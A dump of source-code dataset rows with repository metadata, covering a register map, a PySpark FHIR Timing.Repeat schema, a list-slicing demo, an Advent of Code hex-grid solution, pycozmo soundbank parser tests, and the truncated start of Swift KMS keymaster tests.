'BPLCKC' : 0x00 | ct.BFUINT8 | 6 << ct.BF_POS | 1 << ct.BF_LEN, 'WAITLOCK' : 0x00 | ct.BFUINT8 | 7 << ct.BF_POS | 1 << ct.BF_LEN, }), 'DFLLVAL' : ( 0x24, { 'reg' : 0x00 | ct.UINT32, 'FINE' : 0x00 | ct.BFUINT32 | 0 << ct.BF_POS | 8 << ct.BF_LEN, 'COARSE' : 0x00 | ct.BFUINT32 | 10 << ct.BF_POS | 6 << ct.BF_LEN, 'DIFF' : 0x00 | ct.BFUINT32 | 16 << ct.BF_POS | 16 << ct.BF_LEN, }), 'DFLLMUL' : ( 0x28, { 'reg' : 0x00 | ct.UINT32, 'MUL' : 0x00 | ct.BFUINT32 | 0 << ct.BF_POS | 16 << ct.BF_LEN, 'FSTEP' : 0x00 | ct.BFUINT32 | 16 << ct.BF_POS | 8 << ct.BF_LEN, 'CSTEP' : 0x00 | ct.BFUINT32 | 26 << ct.BF_POS | 6 << ct.BF_LEN, }), 'DFLLSYNC' : ( 0x2C, { 'reg' : 0x00 | ct.UINT8, 'ENABLE' : 0x00 | ct.BFUINT8 | 1 << ct.BF_POS | 1 << ct.BF_LEN, 'DFLLCTRLB' : 0x00 | ct.BFUINT8 | 2 << ct.BF_POS | 1 << ct.BF_LEN, 'DFLLVAL' : 0x00 | ct.BFUINT8 | 3 << ct.BF_POS | 1 << ct.BF_LEN, 'DFLLMUL' : 0x00 | ct.BFUINT8 | 4 << ct.BF_POS | 1 << ct.BF_LEN, }), 'DPLL' : ( 0x30 | ct.ARRAY, 2, OSCCTRL_DPLL ), } OSCCTRL = ct.struct(0x40001000, OSCCTRL_)

56.491713

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3.247156

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0.189994

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null

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null

0

7

b2825a87118782445d64d690d81136c3aacb969c

27,466

py

Python

spark_fhir_schemas/r4/complex_types/timing_repeat.py

icanbwell/SparkFhirSchemas

8c828313c39850b65f8676e67f526ee92b7d624e

[ "Apache-2.0" ]

null

spark_fhir_schemas/r4/complex_types/timing_repeat.py

icanbwell/SparkFhirSchemas

8c828313c39850b65f8676e67f526ee92b7d624e

[ "Apache-2.0" ]

null

spark_fhir_schemas/r4/complex_types/timing_repeat.py

icanbwell/SparkFhirSchemas

8c828313c39850b65f8676e67f526ee92b7d624e

[ "Apache-2.0" ]

null

from typing import Union, List, Optional from pyspark.sql.types import StructType, StructField, StringType, ArrayType, DataType # This file is auto-generated by generate_schema so do not edit it manually # noinspection PyPep8Naming class Timing_RepeatSchema: """ Specifies an event that may occur multiple times. Timing schedules are used to record when things are planned, expected or requested to occur. The most common usage is in dosage instructions for medications. They are also used when planning care of various kinds, and may be used for reporting the schedule to which past regular activities were carried out. """ # noinspection PyDefaultArgument @staticmethod def get_schema( max_nesting_depth: Optional[int] = 6, nesting_depth: int = 0, nesting_list: List[str] = [], max_recursion_limit: Optional[int] = 2, include_extension: Optional[bool] = False, extension_fields: Optional[List[str]] = None, extension_depth: int = 0, max_extension_depth: Optional[int] = 2, include_modifierExtension: Optional[bool] = False, use_date_for: Optional[List[str]] = None, parent_path: Optional[str] = "", ) -> Union[StructType, DataType]: """ Specifies an event that may occur multiple times. Timing schedules are used to record when things are planned, expected or requested to occur. The most common usage is in dosage instructions for medications. They are also used when planning care of various kinds, and may be used for reporting the schedule to which past regular activities were carried out. id: Unique id for the element within a resource (for internal references). This may be any string value that does not contain spaces. extension: May be used to represent additional information that is not part of the basic definition of the element. To make the use of extensions safe and manageable, there is a strict set of governance applied to the definition and use of extensions. Though any implementer can define an extension, there is a set of requirements that SHALL be met as part of the definition of the extension. modifierExtension: May be used to represent additional information that is not part of the basic definition of the element and that modifies the understanding of the element in which it is contained and/or the understanding of the containing element's descendants. Usually modifier elements provide negation or qualification. To make the use of extensions safe and manageable, there is a strict set of governance applied to the definition and use of extensions. Though any implementer can define an extension, there is a set of requirements that SHALL be met as part of the definition of the extension. Applications processing a resource are required to check for modifier extensions. Modifier extensions SHALL NOT change the meaning of any elements on Resource or DomainResource (including cannot change the meaning of modifierExtension itself). boundsDuration: Either a duration for the length of the timing schedule, a range of possible length, or outer bounds for start and/or end limits of the timing schedule. boundsRange: Either a duration for the length of the timing schedule, a range of possible length, or outer bounds for start and/or end limits of the timing schedule. boundsPeriod: Either a duration for the length of the timing schedule, a range of possible length, or outer bounds for start and/or end limits of the timing schedule. count: A total count of the desired number of repetitions across the duration of the entire timing specification. If countMax is present, this element indicates the lower bound of the allowed range of count values. countMax: If present, indicates that the count is a range - so to perform the action between [count] and [countMax] times. duration: How long this thing happens for when it happens. If durationMax is present, this element indicates the lower bound of the allowed range of the duration. durationMax: If present, indicates that the duration is a range - so to perform the action between [duration] and [durationMax] time length. durationUnit: The units of time for the duration, in UCUM units. frequency: The number of times to repeat the action within the specified period. If frequencyMax is present, this element indicates the lower bound of the allowed range of the frequency. frequencyMax: If present, indicates that the frequency is a range - so to repeat between [frequency] and [frequencyMax] times within the period or period range. period: Indicates the duration of time over which repetitions are to occur; e.g. to express "3 times per day", 3 would be the frequency and "1 day" would be the period. If periodMax is present, this element indicates the lower bound of the allowed range of the period length. periodMax: If present, indicates that the period is a range from [period] to [periodMax], allowing expressing concepts such as "do this once every 3-5 days. periodUnit: The units of time for the period in UCUM units. dayOfWeek: If one or more days of week is provided, then the action happens only on the specified day(s). timeOfDay: Specified time of day for action to take place. when: An approximate time period during the day, potentially linked to an event of daily living that indicates when the action should occur. offset: The number of minutes from the event. If the event code does not indicate whether the minutes is before or after the event, then the offset is assumed to be after the event. """ if extension_fields is None: extension_fields = [ "valueBoolean", "valueCode", "valueDate", "valueDateTime", "valueDecimal", "valueId", "valueInteger", "valuePositiveInt", "valueString", "valueTime", "valueUnsignedInt", "valueUri", "valueUrl", "valueReference", "valueCodeableConcept", "valueAddress", ] from spark_fhir_schemas.r4.complex_types.extension import ExtensionSchema from spark_fhir_schemas.r4.complex_types.duration import DurationSchema from spark_fhir_schemas.r4.complex_types.range import RangeSchema from spark_fhir_schemas.r4.complex_types.period import PeriodSchema from spark_fhir_schemas.r4.simple_types.positiveint import positiveIntSchema from spark_fhir_schemas.r4.simple_types.decimal import decimalSchema from spark_fhir_schemas.r4.simple_types.code import codeSchema from spark_fhir_schemas.r4.simple_types.time import timeSchema from spark_fhir_schemas.r4.simple_types.unsignedint import unsignedIntSchema if ( max_recursion_limit and nesting_list.count("Timing_Repeat") >= max_recursion_limit ) or (max_nesting_depth and nesting_depth >= max_nesting_depth): return StructType([StructField("id", StringType(), True)]) # add my name to recursion list for later my_nesting_list: List[str] = nesting_list + ["Timing_Repeat"] my_parent_path = ( parent_path + ".timing_repeat" if parent_path else "timing_repeat" ) schema = StructType( [ # Unique id for the element within a resource (for internal references). This # may be any string value that does not contain spaces. StructField("id", StringType(), True), # May be used to represent additional information that is not part of the basic # definition of the element. To make the use of extensions safe and manageable, # there is a strict set of governance applied to the definition and use of # extensions. Though any implementer can define an extension, there is a set of # requirements that SHALL be met as part of the definition of the extension. StructField( "extension", ArrayType( ExtensionSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, use_date_for=use_date_for, parent_path=my_parent_path, ) ), True, ), # May be used to represent additional information that is not part of the basic # definition of the element and that modifies the understanding of the element # in which it is contained and/or the understanding of the containing element's # descendants. Usually modifier elements provide negation or qualification. To # make the use of extensions safe and manageable, there is a strict set of # governance applied to the definition and use of extensions. Though any # implementer can define an extension, there is a set of requirements that SHALL # be met as part of the definition of the extension. Applications processing a # resource are required to check for modifier extensions. # # Modifier extensions SHALL NOT change the meaning of any elements on Resource # or DomainResource (including cannot change the meaning of modifierExtension # itself). StructField( "modifierExtension", ArrayType( ExtensionSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, use_date_for=use_date_for, parent_path=my_parent_path, ) ), True, ), # Either a duration for the length of the timing schedule, a range of possible # length, or outer bounds for start and/or end limits of the timing schedule. StructField( "boundsDuration", DurationSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth + 1, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, use_date_for=use_date_for, parent_path=my_parent_path, ), True, ), # Either a duration for the length of the timing schedule, a range of possible # length, or outer bounds for start and/or end limits of the timing schedule. StructField( "boundsRange", RangeSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth + 1, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, use_date_for=use_date_for, parent_path=my_parent_path, ), True, ), # Either a duration for the length of the timing schedule, a range of possible # length, or outer bounds for start and/or end limits of the timing schedule. StructField( "boundsPeriod", PeriodSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth + 1, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, use_date_for=use_date_for, parent_path=my_parent_path, ), True, ), # A total count of the desired number of repetitions across the duration of the # entire timing specification. If countMax is present, this element indicates # the lower bound of the allowed range of count values. StructField( "count", positiveIntSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth + 1, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, use_date_for=use_date_for, parent_path=my_parent_path + ".count", ), True, ), # If present, indicates that the count is a range - so to perform the action # between [count] and [countMax] times. StructField( "countMax", positiveIntSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth + 1, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, use_date_for=use_date_for, parent_path=my_parent_path + ".countmax", ), True, ), # How long this thing happens for when it happens. If durationMax is present, # this element indicates the lower bound of the allowed range of the duration. StructField( "duration", decimalSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth + 1, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, use_date_for=use_date_for, parent_path=my_parent_path + ".duration", ), True, ), # If present, indicates that the duration is a range - so to perform the action # between [duration] and [durationMax] time length. StructField( "durationMax", decimalSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth + 1, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, use_date_for=use_date_for, parent_path=my_parent_path + ".durationmax", ), True, ), # The units of time for the duration, in UCUM units. StructField("durationUnit", StringType(), True), # The number of times to repeat the action within the specified period. If # frequencyMax is present, this element indicates the lower bound of the allowed # range of the frequency. StructField( "frequency", positiveIntSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth + 1, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, use_date_for=use_date_for, parent_path=my_parent_path + ".frequency", ), True, ), # If present, indicates that the frequency is a range - so to repeat between # [frequency] and [frequencyMax] times within the period or period range. StructField( "frequencyMax", positiveIntSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth + 1, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, use_date_for=use_date_for, parent_path=my_parent_path + ".frequencymax", ), True, ), # Indicates the duration of time over which repetitions are to occur; e.g. to # express "3 times per day", 3 would be the frequency and "1 day" would be the # period. If periodMax is present, this element indicates the lower bound of the # allowed range of the period length. StructField( "period", decimalSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth + 1, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, use_date_for=use_date_for, parent_path=my_parent_path + ".period", ), True, ), # If present, indicates that the period is a range from [period] to [periodMax], # allowing expressing concepts such as "do this once every 3-5 days. StructField( "periodMax", decimalSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth + 1, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, use_date_for=use_date_for, parent_path=my_parent_path + ".periodmax", ), True, ), # The units of time for the period in UCUM units. StructField("periodUnit", StringType(), True), # If one or more days of week is provided, then the action happens only on the # specified day(s). StructField( "dayOfWeek", ArrayType( codeSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, use_date_for=use_date_for, parent_path=my_parent_path, ) ), True, ), # Specified time of day for action to take place. StructField( "timeOfDay", ArrayType( timeSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, use_date_for=use_date_for, parent_path=my_parent_path, ) ), True, ), # An approximate time period during the day, potentially linked to an event of # daily living that indicates when the action should occur. # The number of minutes from the event. If the event code does not indicate # whether the minutes is before or after the event, then the offset is assumed # to be after the event. StructField( "offset", unsignedIntSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth + 1, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, use_date_for=use_date_for, parent_path=my_parent_path + ".offset", ), True, ), ] ) if not include_extension: schema.fields = [ c if c.name != "extension" else StructField("extension", StringType(), True) for c in schema.fields ] if not include_modifierExtension: schema.fields = [ c if c.name != "modifierExtension" else StructField("modifierExtension", StringType(), True) for c in schema.fields ] return schema

53.228682

104

0.561567

2,732

27,466

5.426794

0.108346

0.055848

0.035411

0.051801

0.851275

0.847835

0.844058

0.818899

0.813773

0

0.003195

0.395944

27,466

515

105

53.332039

0.890423

0.315008

0

0.699438

1

0

0.030559

0

1

0.002809

false

0

0.030899

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0.042135

0

null

0

1

0

1

0

null

0

7

b29e9bed686b2a45f86be3103e7229ebf10ea542

257

py

Python

concept-of-slicing/slice.py

anmolpal1999/python-for-beginners

738d73006cf21206cd10ea89d9796669fc141df3

[ "MIT" ]

null

concept-of-slicing/slice.py

anmolpal1999/python-for-beginners

738d73006cf21206cd10ea89d9796669fc141df3

[ "MIT" ]

null

concept-of-slicing/slice.py

anmolpal1999/python-for-beginners

738d73006cf21206cd10ea89d9796669fc141df3

[ "MIT" ]

null

print('-------------------------------------------------------------------------') family=["Me","sis","Papa","Mummy","Chacha"] print(family[1:1]) print('thank you') print('-------------------------------------------------------------------------')

42.833333

83

0.241245

15

257

4.133333

0.666667

0.354839

0

0.008264

0.058366

257

5

84

51.4

0.247934

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0.4

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0.694444

0.579365

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1

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false

0

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1

0

1

null

0

1

0

7

a25af66237a375812d2e3bbf336a14a282bfa0b0

6,212

py

Python

pycozmo/audiokinetic/tests/test_soundbank.py

nalbion/pycozmo

35ee1ea741ecf7a39affc38d4ff5ad17865fea16

[ "MIT" ]

123

2019-08-25T21:28:23.000Z

2022-03-12T13:54:59.000Z

pycozmo/audiokinetic/tests/test_soundbank.py

nalbion/pycozmo

35ee1ea741ecf7a39affc38d4ff5ad17865fea16

[ "MIT" ]

41

2019-08-25T21:21:37.000Z

2022-02-09T14:20:54.000Z

pycozmo/audiokinetic/tests/test_soundbank.py

nalbion/pycozmo

35ee1ea741ecf7a39affc38d4ff5ad17865fea16

[ "MIT" ]

51

2019-09-04T13:30:02.000Z

2022-01-09T01:20:24.000Z

import unittest import io import pycozmo class TestLoadSoundBank(unittest.TestCase): def test_invalid(self): f = io.BytesIO(b"") reader = pycozmo.audiokinetic.soundbank.SoundBankReader({}) with self.assertRaises(pycozmo.audiokinetic.exception.AudioKineticIOError): reader.load_file(f, "test") def test_invalid2(self): f = io.BytesIO(b"ZZZZZZZZ") reader = pycozmo.audiokinetic.soundbank.SoundBankReader({}) with self.assertRaises(pycozmo.audiokinetic.exception.AudioKineticFormatError): reader.load_file(f, "test") def test_empty(self): f = io.BytesIO(b"BKHD\x20\0\0\0\x78\0\0\0\x11\x22\x33\x44\0\0\0\0\0\0\0\0\x6b\x0a\0\0\0\0\0\0\0\0\0\0\0\0\0\0") reader = pycozmo.audiokinetic.soundbank.SoundBankReader({}) soundbank = reader.load_file(f, "test") self.assertEqual(soundbank.fspec, "test") self.assertEqual(soundbank.id, 0x44332211) self.assertEqual(soundbank.name, "") self.assertEqual(soundbank.version, 120) self.assertEqual(soundbank.data_offset, -1) self.assertEqual(len(soundbank.objs), 0) def test_data_section(self): f = io.BytesIO( b"BKHD\x20\0\0\0\x78\0\0\0\x11\x22\x33\x44\0\0\0\0\0\0\0\0\x6b\x0a\0\0\0\0\0\0\0\0\0\0\0\0\0\0" b"DATA\0\0\0\0") reader = pycozmo.audiokinetic.soundbank.SoundBankReader({}) soundbank = reader.load_file(f, "test") self.assertEqual(soundbank.data_offset, f.tell()) def test_data_index_empty(self): f = io.BytesIO( b"BKHD\x20\0\0\0\x78\0\0\0\x11\x22\x33\x44\0\0\0\0\0\0\0\0\x6b\x0a\0\0\0\0\0\0\0\0\0\0\0\0\0\0" b"DIDX\0\0\0\0") reader = pycozmo.audiokinetic.soundbank.SoundBankReader({}) soundbank = reader.load_file(f, "test") self.assertEqual(len(soundbank.objs), 0) def test_data_index_invalid(self): f = io.BytesIO( b"BKHD\x20\0\0\0\x78\0\0\0\x11\x22\x33\x44\0\0\0\0\0\0\0\0\x6b\x0a\0\0\0\0\0\0\0\0\0\0\0\0\0\0" b"DIDX\xff\0\0\0") reader = pycozmo.audiokinetic.soundbank.SoundBankReader({}) with self.assertRaises(pycozmo.audiokinetic.exception.AudioKineticIOError): reader.load_file(f, "test") def test_data_index(self): f = io.BytesIO( b"BKHD\x20\0\0\0\x78\0\0\0\x11\x22\x33\x44\0\0\0\0\0\0\0\0\x6b\x0a\0\0\0\0\0\0\0\0\0\0\0\0\0\0" b"DIDX\x0c\0\0\0\x01\0\0\0\x02\0\0\0\x03\0\0\0") reader = pycozmo.audiokinetic.soundbank.SoundBankReader({}) soundbank = reader.load_file(f, "test") self.assertEqual(len(soundbank.objs), 1) file = soundbank.objs[1] self.assertIsInstance(file, pycozmo.audiokinetic.soundbank.File) self.assertEqual(file.soundbank_id, soundbank.id) self.assertEqual(file.id, 1) self.assertEqual(file.offset, 2) self.assertEqual(file.length, 3) def test_hirc_empty(self): f = io.BytesIO( b"BKHD\x20\0\0\0\x78\0\0\0\x11\x22\x33\x44\0\0\0\0\0\0\0\0\x6b\x0a\0\0\0\0\0\0\0\0\0\0\0\0\0\0" b"HIRC\x04\0\0\0\0\0\0\0") reader = pycozmo.audiokinetic.soundbank.SoundBankReader({}) soundbank = reader.load_file(f, "test") self.assertEqual(len(soundbank.objs), 0) def test_hirc_invalid(self): f = io.BytesIO( b"BKHD\x20\0\0\0\x78\0\0\0\x11\x22\x33\x44\0\0\0\0\0\0\0\0\x6b\x0a\0\0\0\0\0\0\0\0\0\0\0\0\0\0" b"HIRC\xff\0\0\0\xff\0\0\0") reader = pycozmo.audiokinetic.soundbank.SoundBankReader({}) with self.assertRaises(pycozmo.audiokinetic.exception.AudioKineticIOError): reader.load_file(f, "test") def test_event(self): f = io.BytesIO( b"BKHD\x20\0\0\0\x78\0\0\0\x11\x22\x33\x44\0\0\0\0\0\0\0\0\x6b\x0a\0\0\0\0\0\0\0\0\0\0\0\0\0\0" b"HIRC\x15\0\0\0\x01\0\0\0\x04\x0c\0\0\0\x01\0\0\0\x01\0\0\0\x02\0\0\0") reader = pycozmo.audiokinetic.soundbank.SoundBankReader({}) soundbank = reader.load_file(f, "test") self.assertEqual(len(soundbank.objs), 1) event = soundbank.objs[1] self.assertIsInstance(event, pycozmo.audiokinetic.soundbank.Event) self.assertEqual(event.soundbank_id, soundbank.id) self.assertEqual(event.id, 1) self.assertEqual(event.name, "") self.assertEqual(len(event.action_ids), 1) self.assertEqual(event.action_ids[0], 2) def test_event_action(self): f = io.BytesIO( b"BKHD\x20\0\0\0\x78\0\0\0\x11\x22\x33\x44\0\0\0\0\0\0\0\0\x6b\x0a\0\0\0\0\0\0\0\0\0\0\0\0\0\0" b"HIRC\x14\0\0\0\x01\0\0\0\x03\x0b\0\0\0\x01\0\0\0\x03\x04\xdd\xcc\xbb\xaa\0") reader = pycozmo.audiokinetic.soundbank.SoundBankReader({}) soundbank = reader.load_file(f, "test") self.assertEqual(len(soundbank.objs), 1) event_action = soundbank.objs[1] self.assertIsInstance(event_action, pycozmo.audiokinetic.soundbank.EventAction) self.assertEqual(event_action.soundbank_id, soundbank.id) self.assertEqual(event_action.id, 1) self.assertEqual(event_action.scope, 3) self.assertEqual(event_action.type, 4) self.assertEqual(event_action.reference_id, 0xaabbccdd) def test_sfx(self): f = io.BytesIO( b"BKHD\x20\0\0\0\x78\0\0\0\x11\x22\x33\x44\0\0\0\0\0\0\0\0\x6b\x0a\0\0\0\0\0\0\0\0\0\0\0\0\0\0" b"HIRC\x1e\0\0\0\x01\0\0\0\x02\x15\0\0\0\x01\0\0\0\x01\0\0\0\x02\x03\0\0\0\x04\0\0\0\x01\0\0\0") reader = pycozmo.audiokinetic.soundbank.SoundBankReader({}) soundbank = reader.load_file(f, "test") self.assertEqual(len(soundbank.objs), 1) event_action = soundbank.objs[1] self.assertIsInstance(event_action, pycozmo.audiokinetic.soundbank.SFX) self.assertEqual(event_action.soundbank_id, soundbank.id) self.assertEqual(event_action.id, 1) self.assertEqual(event_action.name, "") self.assertEqual(event_action.location, 2) self.assertEqual(event_action.file_id, 3) self.assertEqual(event_action.length, 4) self.assertEqual(event_action.type, 1)

46.706767

119

0.633129

1,038

6,212

3.732177

0.080925

0.155911

0.181208

0.171399

0.819566

0.75271

0.727414

0.708312

0.693598

0.681466

0

0.121152

0.194784

6,212

132

120

47.060606

0.653339

0

0.5

0

0.12069

0.216068

0.20029

0

0.00322

0

0.362069

1

0.103448

false

0

0.025862

0

0.137931

0

null

0

1

0

1

0

null

0

7

a26d42f799f99e7095be3f0c3901520eec0d8829

24,371

py

Python

11/solution.py

AlecRosenbaum/adventofcode2017

9214a64db77492790d30bbd22e835535d05abb25

[ "MIT" ]

null

11/solution.py

AlecRosenbaum/adventofcode2017

9214a64db77492790d30bbd22e835535d05abb25

[ "MIT" ]

null

11/solution.py

AlecRosenbaum/adventofcode2017

9214a64db77492790d30bbd22e835535d05abb25

[ "MIT" ]

null

""" Day 11 challenge """ import attr import math from functools import reduce @attr.s class Offset(object): horizontal = attr.ib(default=0) vertical = attr.ib(default=0) def __add__(self, other): return Offset( horizontal=self.horizontal + other.horizontal, vertical=self.vertical + other.vertical, ) def absolute_offset(self): return math.sqrt(abs(self.horizontal)**2 + abs(self.vertical)**2) DIRECTIONS = { "nw": Offset(horizontal=-.5, vertical=.5), "n": Offset(vertical=1), "ne": Offset(horizontal=.5, vertical=.5), "se": Offset(horizontal=.5, vertical=-.5), "s": Offset(vertical=-1), "sw": Offset(horizontal=-.5, vertical=-.5), } def solution_part_one(arg): steps = list(map(DIRECTIONS.get, arg.split(","))) effective_offset = sum(steps, Offset()) fast_path = [] while effective_offset.absolute_offset(): curr_dir = None curr_abs_offset = None for k, v in DIRECTIONS.items(): abs_offset = (effective_offset + v).absolute_offset() if not curr_dir or abs_offset < curr_abs_offset: curr_dir = k curr_abs_offset = abs_offset effective_offset += DIRECTIONS[curr_dir] fast_path.append(curr_dir) return len(fast_path) def solution_part_two(arg): steps = list(map(DIRECTIONS.get, arg.split(","))) def get_fast_path(effective_offset): fast_path = [] while effective_offset.absolute_offset(): curr_dir = None curr_abs_offset = None for k, v in DIRECTIONS.items(): abs_offset = (effective_offset + v).absolute_offset() if not curr_dir or abs_offset < curr_abs_offset: curr_dir = k curr_abs_offset = abs_offset effective_offset += DIRECTIONS[curr_dir] fast_path.append(curr_dir) return fast_path return max( map(len, map( get_fast_path, reduce( lambda agg, x: agg + [agg[-1] + x], steps[1:], [steps[0]], ), ), ), ) if __name__ == "__main__": puzzle_input = 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print(solution_part_one(puzzle_input)) print(solution_part_two(puzzle_input))

276.943182

22,006

0.620697

8,502

24,371

1.770525

0.008469

0.191058

0.155451

0.117452

0.948449

0.867668

0.751146

0.577227

0.399787

0.267455

0

0.000804

0.030487

24,371

87

22,007

280.126437

0.636279

0.000657

0

0.397059

0

0.014706

0.903643

0.902822

0

1

0.073529

false

0

0.044118

0.029412

0.235294

0.029412

0

1

null

0

1

0

1

0

1

null

0

8

a2c2206e4ff99f56682cceff966785df48ff2137

32,978

py

Python

test/unit/common/middleware/crypto/test_kms_keymaster.py

hashsos/hashcloudos-swift

25db6f317de58a9da226f97f0e2eedac658a0042

[ "Apache-2.0" ]

null

test/unit/common/middleware/crypto/test_kms_keymaster.py

hashsos/hashcloudos-swift

25db6f317de58a9da226f97f0e2eedac658a0042

[ "Apache-2.0" ]

null

test/unit/common/middleware/crypto/test_kms_keymaster.py

hashsos/hashcloudos-swift

25db6f317de58a9da226f97f0e2eedac658a0042

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- # Copyright (c) 2015 OpenStack Foundation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or # implied. # See the License for the specific language governing permissions and # limitations under the License. import base64 import mock import unittest import sys sys.modules['castellan'] = mock.Mock() sys.modules['castellan.common'] = mock.Mock() sys.modules['castellan.common.credentials'] = mock.Mock() from keystoneauth1.exceptions.connection import ConnectFailure from keystoneauth1.exceptions.http import Unauthorized from keystoneclient.exceptions import DiscoveryFailure from swift.common.middleware.crypto import kms_keymaster from swift.common.swob import Request from test.unit.common.middleware.helpers import FakeSwift, FakeAppThatExcepts TEST_KMS_INVALID_KEY_ID = 'invalid-kms-key-id' TEST_KMS_NONEXISTENT_KEY_ID = '11111111-1111-1111-1111-ffffffffffff' TEST_KMS_OPAQUE_KEY_ID = '22222222-2222-2222-2222-aaaaaaaaaaaa' TEST_KMS_SHORT_KEY_ID = '22222222-2222-2222-2222-bbbbbbbbbbbb' TEST_KMS_DES_KEY_ID = '22222222-2222-2222-2222-cccccccccccc' TEST_KMS_NONE_KEY_ID = '22222222-2222-2222-2222-dddddddddddd' TEST_KMS_INVALID_API_VERSION = 'vBadVersion' TEST_KMS_INVALID_USER_DOMAIN_NAME = "baduserdomainname" TEST_KMS_CONNECT_FAILURE_URL = 'http://endpoint_url_connect_error:45621' TEST_KMS_NON_BARBICAN_URL = 'http://endpoint_url_nonbarbican:45621' TEST_PROXYSERVER_CONF_EXTERNAL_KEYMASTER_CONF = { 'keymaster_config_path': 'PATH_TO_KEYMASTER_CONFIG_FILE', } TEST_KMS_KEYMASTER_CONF = { 'auth_endpoint': 'kmsauthurlv3', 'password': 'kmspass', 'username': 'kmsuser', 'user_domain_id': None, 'user_domain_name': 'default', 'project_id': None, 'project_name': 'kmsproject', 'project_domain_id': None, 'project_domain_name': 'default', 'key_id': 'valid_kms_key_id-abcdefg-123456' } def capture_start_response(): calls = [] def start_response(*args): calls.append(args) return start_response, calls def mock_castellan_api_side_effect(*args, **kwargs): return MockBarbicanKeyManager(args[0]) def mock_options_set_defaults_side_effect(*args, **kwargs): ''' Add options from kwargs into args dict. ''' args[0].update(kwargs) def mock_config_opts_side_effect(*args, **kwargs): return dict() def mock_keystone_password_side_effect(username, password, project_name, user_domain_name, project_domain_name, user_id, user_domain_id, trust_id, domain_id, domain_name, project_id, project_domain_id, reauthenticate): return MockPassword(username, password, project_name, user_domain_name, project_domain_name, user_id, user_domain_id, trust_id, domain_id, domain_name, project_id, project_domain_id, reauthenticate) ERR_MESSAGE_SECRET_INCORRECTLY_SPECIFIED = 'Secret incorrectly specified.' ERR_MESSAGE_KEY_UUID_NOT_FOUND = 'Key not found, uuid: ' class MockBarbicanKeyManager(object): def __init__(self, conf): self.conf = conf def get(self, ctxt, 